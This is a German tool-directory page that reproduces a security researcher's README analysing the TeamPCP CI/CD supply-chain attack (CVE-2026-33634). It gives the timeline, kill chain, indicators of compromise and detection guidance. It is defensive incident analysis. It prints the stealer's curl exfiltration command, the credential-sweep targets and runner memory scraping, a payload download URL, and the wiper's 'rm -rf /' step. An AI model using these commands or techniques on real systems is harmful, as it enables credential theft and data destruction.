Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
teampcp-supply-chain-attack — CVE-2026-33634 (CVSS 9.4) — Der bisher folgenreichste CI/CD-Supply-Chain-Angriff des Jahres 2026. | Kitploit
Tools/GitHubGitHub/ugurrates/teampcp-supply-chain-attack
Container-SicherheitMalware-AnalyseCloud-SicherheitBedrohungsanalyseLieferkettensicherheitLernen & BildungIncident ResponseKuratierte Ressourcen

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
GitHub
ugurrates/teampcp-supply-chain-attack

teampcp-supply-chain-attack

CVE-2026-33634 (CVSS 9.4) — Der bisher folgenreichste CI/CD-Supply-Chain-Angriff des Jahres 2026.

Repository anzeigen
1134vor 1 MonatNoch nicht geprüft

TeamPCP Supply-Chain-Angriff: Technische Analyse & Erkennungsleitfaden

CVE-2026-33634 (CVSS 9.4) — Der bisher folgenreichste CI/CD-Supply-Chain-Angriff des Jahres 2026.

Zwischen dem 19. und 25. März 2026 führte der Bedrohungsakteur TeamPCP (auch bekannt als DeadCatx3, PCPcat, ShellForce, CanisterWorm) eine kaskadenartige Supply-Chain-Kompromittierung über fünf Ökosysteme aus: GitHub Actions, Docker Hub, OpenVSX, npm und PyPI. Ausgehend von einem einzigen unvollständig rotierten GitHub-PAT breitete sich die Kampagne über zwei große Open-Source-Sicherheitsanbieter (Aqua Security und Checkmarx), vier GitHub-Actions-Repositories, zwei VS-Code-Erweiterungen, Container-Registries und 66+ npm-Pakete aus.

Dieses Repository bietet eine vollständige technische Aufschlüsselung, kuratierte IOC-Listen (FP-getestet) und sofort einsetzbare Erkennungsabfragen für Microsoft Defender XDR.


Inhaltsverzeichnis

  • Angriffszeitleiste
  • Kill-Chain-Aufschlüsselung
  • Kompromittierte Artefakte
  • Funktionsweise des Credential-Stealers
  • CanisterWorm — npm-Verbreitung
  • Auf den Iran abzielende Wiper-Komponente
  • Erkennung & Hunting
  • IOC-Liste
  • Hinweise zur FP-Filterung
  • MITRE-ATT&CK-Zuordnung
  • Referenzen

Angriffszeitleiste


Kill-Chain-Aufschlüsselung

Phase 1 — Erster Zugriff

Grundursache: unvollständige Credential-Rotation nach dem Vorfall vom 28. Februar. Das PAT des Dienstkontos aqua-bot wurde entweder nicht widerrufen, oder der Angreifer hat das neue Token während der Rotation beobachtet.

TeamPCP nutzte diesen verbleibenden Zugriff, um Versionstags per Force-Push auf bösartige Impostor-Commits zu setzen. Jeder gefälschte Commit übernahm die Metadaten des Originals (Autor, Zeitstempel, Nachricht), während das Einstiegspunkt-Skript durch das Stealer-Payload ersetzt wurde. Die GitHub-Release-Seite zeigte keine sichtbare Veränderung — sogar das Abzeichen „Immutable“ wurde normal angezeigt.

Phase 2 — Payload-Ausführung

Der Stealer — ein 204-zeiliges entrypoint.sh, das sich selbst als „TeamPCP Cloud stealer“ identifiziert — führt einen dreistufigen Angriff aus:

Stufe 1: Speicher-Scraping

root@kitploit:~
Reads /proc/<pid>/mem from Runner.Worker processes
Searches for pattern: {"value":"<secret>","isSecret":true}
Extracts GitHub PATs, cloud credentials, API keys from runner memory

Stufe 2: Dateisystem-Credential-Sweep

Durchsucht 50+ sensible Pfade, darunter:

  • SSH-Schlüssel (~/.ssh/*)
  • AWS/GCP/Azure-Anmeldeinformationen
  • Kubernetes-Tokens und -Konfigurationen
  • Docker-Registry-Anmeldeinformationen
  • Terraform-State-Dateien
  • Krypto-Wallets (Solana, Bitcoin, Ethereum, Cardano)
  • npm-Tokens (~/.npmrc)
  • Shell-Historien
  • .env-Dateien

Stufe 3: Verschlüsselte Exfiltration

  • Bündelt alle gesammelten Daten in tpcp.tar.gz
  • Verschlüsselt mit AES-256-CBC (zufälliger Session-Key) + RSA-4096/RSA-OAEP (öffentlicher Schlüssel des Angreifers)
  • Exfiltriert per curl POST an anbieterspezifische Typosquat-Domains
  • Fallback: Erstellt mit gestohlenem GITHUB_TOKEN ein Repo tpcp-docs oder docs-tpcp im GitHub-Konto des Opfers

Phase 3 — Persistenz

Auf Linux-Systemen außerhalb von CI führt die Malware Folgendes aus:

  1. Erstellt das versteckte Verzeichnis ~/.config/sysmon/
  2. Legt eine Python-Hintertür ab (sysmon.py)
  3. Installiert einen systemd-User-Service, der alle 50 Minuten das C2 abfragt
  4. Kill-Switch: Wenn die C2-Antwort „youtube“ enthält, überspringt die Hintertür die Ausführung

Phase 4 — Laterale Bewegung (Checkmarx-Welle)

Gestohlene Anmeldeinformationen aus der Trivy-Welle ermöglichten die Kompromittierung des Checkmarx-Ökosystems. Jede neue Welle nutzte eine andere Typosquat-C2-Domain, um Blocklisten der vorherigen Welle zu umgehen:

WelleC2-DomainTyposquat von
Trivyscan.aquasecurtiy[.]orgaquasecurity.org

Kompromittierte Artefakte

GitHub Actions

OpenVSX-Erweiterungen (VS-Code-Marketplace NICHT betroffen)

ErweiterungBösartige VersionSichere Version
checkmarx.ast-results2.53.0>= 2.56.0
checkmarx.cx-dev-assist1.7.0>= 1.10.0

Beide Erweiterungen wurden am 23. März um 12:53 UTC im Abstand von 12 Sekunden über das Konto ast-phoenix veröffentlicht. Bei Aktivierung prüft environmentAuthChecker.js auf Anmeldeinformationen von Cloud-Anbietern und lädt anschließend einen Stealer der zweiten Stufe von checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz.

Container-Images

ImageBösartige Tags
docker.io/aquasec/trivy0.69.4, 0.69.5, 0.69.6
ghcr.io/aquasecurity/trivy0.69.4, 0.69.5, 0.69.6
public.ecr.aws/aquasecurity/trivy0.69.4, 0.69.5, 0.69.6

PyPI

PaketVersionenHintertür-Datei
litellm1.82.7, 1.82.8litellm/proxy/proxy_server.py

Dreifach verschachteltes Base64-Payload mit K8s-Toolkit für laterale Bewegung. Persistenz über sysmon.service, das checkmarx.zone/raw abfragt.


Funktionsweise des Credential-Stealers

Das Exfiltrationsmuster ist über alle Wellen hinweg identisch:

root@kitploit:~
curl -s -o /dev/null -w %{http_code} -X POST https://<c2_domain> \
  -H "Content-Type: application/octet-stream" \
  -H "X-Filename: tpcp.tar.gz" \
  --data-binary @/tmp/tmp.XXXXXXXXXX/tpcp.tar.gz

Die Typosquat-Domain-Strategie ist bewusst gewählt: Ein Analyst, der CI/CD-Logs prüft, sieht curl-Verkehr zur vermeintlich eigenen Anbieterdomain der Action. Ohne sorgfältigen Vergleich geht scan.aquasecurtiy.org bei einer schnellen Log-Prüfung als aquasecurity.org durch.

Nur der Angreifer kann gestohlene Daten entschlüsseln — der AES-Session-Key ist mit seinem öffentlichen Schlüssel per RSA-OAEP verschlüsselt.


CanisterWorm — npm-Verbreitung

Innerhalb von 24 Stunden nach der Trivy-Kompromittierung ermöglichten gestohlene npm-Tokens einen sich selbst verbreitenden Wurm über 66+ Pakete (141 bösartige Artefakte).

Was CanisterWorm bemerkenswert macht:

  • Erste dokumentierte npm-Malware, die einen ICP-Blockchain-Canister (Internet Computer Protocol) als C2 nutzt
  • Der Canister unter tdtqy-oyaaa-aaaae-af2dq-cai ist ein dezentraler Smart Contract — kein einzelner Abschaltpunkt
  • Setzt 3 Methoden frei: get_latest_link, http_request, update_link
  • Der Angreifer kann Payloads auf allen infizierten Maschinen rotieren, ohne ein npm-Paket neu zu veröffentlichen
  • Kill-Switch: Wenn der Canister eine URL mit youtube.com zurückgibt, schläft die Hintertür
  • Persistenz: systemd-User-Service, der sich als pgmon (PostgreSQL-Überwachung) tarnt
  • Abfrageintervall: alle 50 Minuten
  • Binärdatei wird nach /tmp/pglog gelegt, Status in /tmp/.pg_state verfolgt

Bekannte kompromittierte Scopes: @emilgroup/*, @teale.io/* (selbstverbreitende Variante in @teale.io/eslint-config v1.8.11, v1.8.12)


Auf den Iran abzielende Wiper-Komponente

Eine destruktive Variante zielt gezielt auf iranische Systeme:

  1. Kubernetes + Iran: Setzt privilegierte DaemonSets auf jedem Knoten ein (einschließlich Control Plane), löscht und erzwingt Neustarts über den Container kamikaze
  2. Kubernetes + Nicht-Iran: Installiert die CanisterWorm-Hintertür als systemd-Dienst
  3. Nicht-K8s + Iran: Führt rm -rf / --no-preserve-root mit sudo aus
  4. Nicht-K8s + Nicht-Iran: Keine Aktion

Die Erkennung erfolgt über Systemzeitzonen- und Locale-Prüfungen.


Erkennung & Hunting

Microsoft Defender XDR — Benutzerdefinierte Erkennungsregel

Regelname: TeamPCP Supply Chain C2 and Malware IOC Match
Schweregrad: Hoch
Kategorie: CommandAndControl
Häufigkeit: Alle 1 Stunde

Siehe detection/defender_xdr_query.kql für die vollständige KQL-Abfrage.

Die Abfrage umfasst:

  • 7 SHA256-Dateihashes (Stealer + CanisterWorm-Varianten)
  • 2 C2-IP-Adressen
  • 4 C2-Domains (Typosquats + ICP-Canister)
  • 4 spezifische C2-URLs
  • DNS-Auflösungsprüfungen

Defender-TI-Indikatoren-Import

Eine importfertige CSV-Datei wird unter iocs/FINAL_TeamPCP_IOC_25Mar2026.csv bereitgestellt. Diese Datei wurde in einer Produktionsumgebung eines Unternehmens auf False Positives (FP) getestet.

Andere Plattformen

PlattformErkennung
Palo Alto Cortex XDRRegel ioc.linux.shaihulud.2 — Credential-Zugriff auf GitHub-Action-Runnern
Sysdig/FalcoContact EC2 Instance Metadata Service From Container, ,

IOC-Liste

Datei-Hashes (SHA256)

Netzwerk-IOCs

C2-URL-Pfade

URLFunktion
checkmarx[.]zone/static/checkmarx-util-1.0.4.tgzDownload des Payloads der zweiten Stufe

Persistenz-Artefakte

GitHub-Exfiltrations-Repos (Fallback)

NameWelle
tpcp-docsTrivy
docs-tpcpCheckmarx

Hinweise zur FP-Filterung

Die Erkennungsabfragen und die IOC-CSV in diesem Repo wurden in einer Produktionsumgebung getestet, auf der Folgendes läuft:

  • Ansible AWX/Tower mit den Collections community.general und kubernetes.core
  • Claude Code und GitHub Copilot auf macOS-Entwickler-Workstations
  • FortiMonitor-Agent (IMDS-Abfrage)
  • Oracle AHF auf OCI-Instanzen (IMDS-Abfrage)
  • Verschiedene Python/Node.js-Entwicklungstoolchains

Die folgenden IOCs wurden aufgrund bestätigter False Positives entfernt:


MITRE-ATT&CK-Zuordnung


Referenzen


Lizenz

MIT — Frei verwenden, teilen und anpassen. Namensnennung erwünscht.


Autor: Ugur Can Ates — SOC-Teamleiter & Senior Security Engineer
Zuletzt aktualisiert: 25. März 2026

Tool herunterladen
Datum (UTC)Ereignis
20. Feb. 2026Konto hackerbot-claw erstellt; beginnt mit dem Scannen von Repos nach ausnutzbaren pull_request_target-Workflows
28. Feb. 2026Erste Trivy-Kompromittierung über PWN-Request; Anmeldeinformationen exfiltriert
1. März 2026Aqua Security versucht Eindämmung — Credential-Rotation unvollständig
19. März, 17:43Hauptschlag: TeamPCP pusht per Force-Push 75/76 Tags in aquasecurity/trivy-action + alle 7 Tags in setup-trivy über das kompromittierte Dienstkonto aqua-bot
19. März, 18:22Hintertür-Version von Trivy v0.69.4 auf GitHub Releases, Docker Hub, GHCR, ECR veröffentlicht
20. März, 05:40Kompromittierungsfenster von trivy-action schließt (~12 Stunden)
20. März, 20:45CanisterWorm bei der Verbreitung über npm erkannt — 47+ Pakete kompromittiert
22. März, 20:31TeamPCP verunstaltet alle 44 Repos in der GitHub-Organisation aquasec-com in einem skriptgesteuerten 2-Minuten-Burst
22. MärzDocker-Hub-Images 0.69.5 und 0.69.6 mit demselben Stealer-Payload gepusht
23. März, 02:53Checkmarx-Welle beginnt: Bösartige ast-results v2.53.0 und cx-dev-assist v1.7.0 über das Konto ast-phoenix auf OpenVSX veröffentlicht
23. März, 12:58Alle 35 Tags von Checkmarx/kics-github-action per Force-Push über das kompromittierte Konto cx-plugins-releases gepusht
23. März, 15:41Checkmarx meldet OpenVSX-Problem als behoben
23. März, 16:50KICS GitHub Action nach Nutzermeldung vom Netz genommen
23. März, 22:25Sysdig meldet, dass Checkmarx/ast-github-action v2.3.28 ebenfalls kompromittiert ist
24. März, 08:30LiteLLM-Welle: Trojanisierte litellm v1.82.7 und v1.82.8 mit gestohlenen Anmeldeinformationen auf PyPI veröffentlicht
24. März, 11:25PyPI stellt bösartige LiteLLM-Versionen unter Quarantäne
Checkmarx/KICScheckmarx[.]zonecheckmarx.com
LiteLLMmodels.litellm[.]cloudlitellm.ai
RepositoryKompromittierte TagsOffenlegungsfenster (UTC)Einstiegspunkt
aquasecurity/trivy-action75 von 76 (sicher: 0.35.0)19. März 17:43 – 20. März 05:40entrypoint.sh
aquasecurity/setup-trivyAlle 7 Tags19. März 17:43 – 21:44action.yaml
Checkmarx/kics-github-actionAlle 35 Tags23. März 12:58 – 16:50setup.sh
Checkmarx/ast-github-actionv2.3.28 (vermutlich alle)23. März ~22:25+setup.sh
Curl Exfiltrating File
Exfiltration of AWS IMDS Credentials Using LOTL Binary
HashBeschreibungQuelle
18a24f83e807479438dcab7a1804c51a00dafc1d526698a66e0640d1e5dd671aBösartiges entrypoint.sh von TrivyPhoenix Security
c37c0ae9641d2e5329fcdee847a756bf1140fdb7f0b7c78a40fdc39055e7d926CanisterWorm Welle 4 — endgültige FormAikido Security
0c0d206d5e68c0cf64d57ffa8bc5b1dad54f2dda52f24e96e02e237498cb9c3aCanisterWorm Welle 3 — selbstverbreitender TestAikido Security
61ff00a81b19624adaad425b9129ba2f312f4ab76fb5ddc2c628a5037d31a4baCanisterWorm Welle 2 — bewaffnete ICP-HintertürAikido Security
f398f06eefcd3558c38820a397e3193856e4e6e7c67f81ecc8e533275284b152CanisterWorm Welle 1 — deploy.jsAikido Security
7df6cef7ab9aae2ea08f2f872f6456b5d51d896ddda907a238cd6668ccdc4bb7CanisterWorm Welle 2 — deploy.jsAikido Security
5e2ba7c4c53fa6e0cef58011acdd50682cf83fb7b989712d2fcf1b5173bad956CanisterWorm Welle 3+ — deploy.js minifiziertAikido Security
IndikatorTypZweck
83.142.209.11IPC2-Server (checkmarx.zone)
45.148.10.212IPC2-Server (scan.aquasecurtiy.org)
checkmarx[.]zoneDomainC2 — Checkmarx/KICS/LiteLLM-Welle
scan.aquasecurtiy[.]orgDomainC2 — Trivy-Welle
models.litellm[.]cloudDomainC2 — LiteLLM-PyPI-Welle
tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0[.]ioDomainICP-Canister-Dead-Drop-C2
checkmarx[.]zone/vsx
Exfiltrations-Endpunkt
checkmarx[.]zone/rawPersistenz-Abfrage (50 Min.)
tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0[.]io/ICP-Canister-C2
PfadZweck
~/.config/sysmon/Hintertür-Verzeichnis
~/.config/sysmon.pyPython-Hintertür
~/.config/systemd/user/sysmon.serviceSystemd-Persistenz
~/.config/systemd/user/pgmon.serviceCanisterWorm-Persistenz (PostgreSQL-Tarnung)
/tmp/pglogHeruntergeladene Binärdatei
/tmp/.pg_stateC2-Abfragestatus
IOCFP-Quelle
setup.sh (Dateiname)Ansible-Collections, Claude-Code-Plugin-Cache, Bitnami-Skripte
service.py (Dateiname)Ansible module_utils, protobuf, boto3, FreeIPA, K8s-Core
deploy.js (Dateiname)Standard-npm/node-Datei
169.254.169.254 (IMDS-IP)FortiMonitor-Agent, Oracle AHF — legitime Überwachung
icp0.io (Parent-Domain)Zu weit gefasst, erfasst legitimen ICP-Verkehr
hooks.slack.com (Befehlszeile)Legitime Slack-Integrationen
discord.com/api/webhooks (Befehlszeile)Legitime Discord-Integrationen
TechnikIDKontext
Supply Chain Compromise: Software DependenciesT1195.002GitHub-Actions-Tag-Poisoning, OpenVSX, npm, PyPI
Unsecured Credentials: Cloud Instance Metadata APIT1552.005AWS-IMDS-Diebstahl von CI-Runnern
Credentials from Password StoresT1555Dateisystem-Credential-Sweep (50+ Pfade)
OS Credential DumpingT1003Runner.Worker /proc/mem-Scraping
Exfiltration Over C2 ChannelT1041Verschlüsseltes tpcp.tar.gz an Typosquat-Domains
Web ServiceT1102ICP-Canister-Dead-Drop-C2
Systemd ServiceT1543.002pgmon.service, sysmon.service-Persistenz
Ingress Tool TransferT1105Download von checkmarx-util-1.0.4.tgz
Acquire Infrastructure: DomainsT1583.001Typosquat-Domains pro Welle
QuelleLink
Wiz — KICS-Kompromittierunghttps://www.wiz.io/blog/teampcp-attack-kics-github-action
Wiz — Trivy-Kompromittierunghttps://www.wiz.io/blog/trivy-compromised-teampcp-supply-chain-attack
Sysdig TRT — Checkmarx-Ausweitunghttps://www.sysdig.com/blog/teampcp-expands-supply-chain-compromise-spreads-from-trivy-to-checkmarx-github-actions
Checkmarx Offiziellhttps://checkmarx.com/blog/checkmarx-security-update/
Phoenix Security — Vollständige Zeitleistehttps://phoenix.security/teampcp-supply-chain-attack-trivy-checkmarx-github-actions-npm-canisterworm/
Aikido Security — CanisterWormhttps://www.aikido.dev/blog/teampcp-deploys-worm-npm-trivy-compromise
Endor Labs — LiteLLMhttps://www.endorlabs.com/learn/teampcp-isnt-done
Mend — CanisterWormhttps://www.mend.io/blog/canisterworm-the-self-spreading-npm-attack-that-uses-a-decentralized-server-to-stay-alive/
Socket — npm-Kompromittierunghttps://socket.dev/blog/canisterworm-npm-publisher-compromise-deploys-backdoor-across-29-packages
StepSecurity — Trivy-Analysehttps://www.stepsecurity.io/blog/trivy-compromised-a-second-time---malicious-v0-69-4-release
JFrog — Erweiterte Analysehttps://research.jfrog.com/post/canister-worm/
Rami McCarthy — IOC-Zeitleistehttps://ramimac.me/trivy-teampcp/